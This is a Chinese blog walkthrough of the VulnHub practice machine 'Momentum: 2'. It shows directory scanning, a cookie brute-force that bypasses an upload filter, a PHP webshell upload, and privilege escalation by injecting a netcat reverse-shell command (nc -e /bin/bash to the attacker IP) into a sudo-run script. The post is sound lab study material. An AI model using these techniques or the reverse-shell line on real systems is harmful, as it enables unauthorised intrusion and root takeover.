Momentum:2【攻略】


介绍

  • VulnHub地址:Momentum: 2 ~ VulnHub

  • 发布日期: 28 Jun 2021

  • 难度:中等

  • 描述:

    关键词 : curl, bash, code review

  • 靶场环境:

机器ip
kali10.4.7.135
靶机10.4.7.143

信息收集

主机发现

image-20231102220518966

端口扫描

image-20231102220758317

网站探测

无可用信息。

image-20231102221019362

目录扫描

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,bak -u http://10.4.7.143

image-20231102221733210

Web 渗透

/dashboard.html 页面发现可以上传文件,但是只能上传 txt 文件。

/owls 目录可以查看上传路径。

image-20231102221936497

/ajax.php.bak 文件中有提示。(扫描不出来,不知道为什么)

cookie 存在时,键名为 admin ,值为 &G6u@B6uDXMq&Ms ,再值的末尾还需要加一个大写字母。

使用 post 方式提交一个参数 secure ,值为 val1d,就可以上传 pdf,php,txt 文件。

成功则返回1。

curl http://10.4.7.143/ajax.php.bak

image-20231102222308051

使用 python 生成一个大写字母的密码字典。

import string
 
# 定义密码字典的字符集合
characters = string.ascii_uppercase
 
# 打开文件,如果文件不存在则创建新文件
file = open('example.txt', 'w')
 
# 写入内容到文件
for char in characters:
    file.write(char + '\n')
 
# 关闭文件
file.close()

上传一句话木马文件。

使用 brupsuit 抓包,添加 cookie 值,添加 post 请求值。

Cookie: admin=&G6u@B6uDXMq&Ms

------WebKitFormBoundaryQ5S514IUaRkmU4al
Content-Disposition: form-data; name="secure";

val1d

image-20231102224235435

发送到 Intruder 模块对 cookie 值最后一位进行爆破。

image-20231102224353782

最后一位为 R 时,成功上传文件。

image-20231102224841171

上传成功,运行文件使用蚁剑连接。

image-20231102225025724

在 home 目录下发现一个用户和密码,以及第一个 flag,还有一段管理员的消息。

password : myvulnerableapp[Asterisk]

FLAG : 4WpJT9qXoQwFGeoRoFBEJZiM2j2Ad33gWipzZkStMLHw

Hey, Athena use the cookie-gen.py
to generate secure cookies for our application
also remove the ajax.php.bak before it’s too late.

  • administrator

image-20231102225920673

SSH 连接

密码里面有个 [Asterisk],查询后发现是一个*号。

athena : myvulnerableapp*

image-20231102230544072

连接 ssh 后,sudo -l 查看命令,看到可以无 root 密码执行 cookie-gen.py 脚本

image-20231103090604157

查看这个文件,添加 seed 参数,可以堆叠注入。

这段代码使用了 Python 的 randomossubprocess 模块来生成随机的 Cookie,并将生成的 Cookie 和种子保存到日志文件中。下面是对代码的逐行解释:

  1. import random:导入 random 模块,用于生成随机数。
  2. import os:导入 os 模块,用于与操作系统进行交互,例如创建文件和执行命令。
  3. import subprocess:导入 subprocess 模块,用于执行系统命令。
  4. print('~ Random Cookie Generation ~'):打印提示信息,表示开始生成随机 Cookie。
  5. print('[!] for security reasons we keep logs about cookie seeds.'):打印提示信息,说明出于安全原因,种子(seed)会被记录在日志中。
  6. chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh':定义了一个包含特定字符的字符串,用于生成 Cookie。
  7. seed = input("Enter the seed : "):提示用户输入种子(seed)。
  8. random.seed = seed:设置随机数生成器的种子为用户输入的种子。
  9. cookie = '':初始化一个空字符串,用于存储生成的 Cookie。
  10. for c in range(20)::循环 20 次,生成 20 个字符的 Cookie。
  11. cookie += random.choice(chars):在每次循环中,从 chars 字符串中随机选择一个字符,并将其添加到 cookie 字符串中。
  12. print(cookie):打印生成的 Cookie。
  13. cmd = "echo %s >> log.txt" % seed:构建一个命令字符串,将种子追加写入到 log.txt 日志文件中。
  14. subprocess.Popen(cmd, shell=True):执行命令字符串,将种子追加写入到日志文件中。

代码的主要逻辑是通过循环和随机选择,生成一个长度为 20 的随机 Cookie,并将生成的 Cookie 打印出来。然后,使用 subprocess 模块执行命令,将种子追加写入到名为 log.txt 的日志文件中。

image-20231103090535650

尝试执行,执行后在 log.txt 文件中记录了 seed 参数。

sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py

image-20231103141100209

堆叠注入

;nc -e /bin/bash 10.4.7.135 7777

image-20231103141454982

nc 反弹回 kali,得到 root 下的 flag。

image-20231103141533702

总结

本次包含:

  • 文件上传
  • 代码审计
  • bp 改包
  • 堆叠注入

参考文章

vulnhub之Momentum2-CSDN博客

Vulnhub——MOMENTUM-2_韓憨憨的博客-CSDN博客

gobuster 一款基于go开发的目录文件、dns和vhost爆破工具_gobuster安装_whatday的博客-CSDN博客

Python 实现生成单个字符的密码字典并写入文件【代码】-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值